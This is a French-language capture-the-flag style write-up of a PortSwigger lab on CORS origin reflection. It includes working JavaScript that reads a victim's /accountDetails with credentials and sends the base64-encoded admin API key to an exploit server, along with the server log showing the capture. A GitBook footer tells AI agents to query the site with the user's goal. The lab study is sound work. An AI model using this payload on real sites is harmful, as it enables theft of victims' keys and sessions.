> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/cors/cors-basic-origin-reflection.md).

# Réflexion de base de l’origine CORS

Notes sur la réflexion de base de l’origine CORS pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Vulnérabilité CORS avec réflexion simple de l’origine

En utilisant une configuration CORS trop permissive (le serveur fait confiance à n’importe quelle origine) pour récupérer la clé API de l’administrateur via une requête inter-origines avec `des identifiants` et envoyer la réponse à notre serveur d’exploitation. L’exercice est résolu lorsque la clé API de l’administrateur est soumise au serveur d’exploitation.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f23205fd14ddce1058f950285c4554561c44c6e4%2F%7BE93C2481-C3DD-4491-9718-04255A525A5E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Identifiants fournis pour se connecter : `wiener:peter`.
* Le code côté page récupère la clé API depuis `/accountDetails` et l’affiche :

```javascript
<script>
 fetch('/accountDetails', {credentials:'include'})
  .then(r => r.json())
  .then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e05acb78b0b9ba40cd1ab6441c933bc62194815a%2F%7B5B981217-EB8B-46B6-866E-BF2EE614164B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Les en-têtes indiquent `Access-Control-Allow-Credentials: true` (le serveur accepte les requêtes avec des cookies/des identifiants).

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fffb4cb07e3b1fd041b023d89e33bd50c0a580eb%2F%7B71DD19DE-AF24-4A33-9628-97AF33D459CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* En testant une requête avec l’ `Origin: jord4n.pro` en-tête, la réponse est renvoyée (l’origine reflétée est acceptée).

```javascript
Origin: jord4n.pro
```

* Le serveur reflète/autorise l’origine envoyée, donc une page contrôlée par l’attaquant peut effectuer une `XMLHttpRequest` ou `fetch` en `/accountDetails` en incluant les cookies de la victime (`withCredentials = true`) et récupérer la réponse JSON contenant la clé API.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6296a8f99e2485444e7340b5987ae5e7e276b66%2F%7B8E97639D-16A3-4758-BB50-FD30CC1BD87E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<script>
  var req=new XMLHttpRequests();
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4966b3c5739c9ba582053fbe4ac57fd3c4ccbe05%2F%7B90E8F329-5B26-4B3B-BB2C-426417A091F1%7D.png?alt=media" alt="" width="483"><figcaption></figcaption></figure>

Une fois la réponse lue, elle peut être transmise au serveur (par ex. en l’encodant en base64) pour être récupérée.

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = "https://exploit-0aca00f703c106bc82ac23560133003f.exploit-server.net/?apiKey=" + btoa(req.responseText);
};
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-02733344152bd14f913bfc7b411483b6bf72208c%2F%7B34B08A80-EEF4-46A7-9741-E8D38F8DB848%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
10.0.3.6        2025-10-29 20:19:37 +0000 "GET /?apiKey=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjg2cWk4Mnh2TUdDOUdyV2dYY1RPdUN4bnVCQU9Gd3VEIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiS240MzN2QVpqWU1WUTZTUE1JTmx4YzY5aHFjNVg1M24iCiAgXQp9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victime) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

Le serveur d’exploitation a reçu une requête GET contenant la réponse encodée, par exemple :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb38d3209967cd9d4a39677bd0d257d48b3b1055%2F%7BBCA617FC-24D1-4D74-A8E9-063DEC8A4C3C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/cors/cors-basic-origin-reflection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
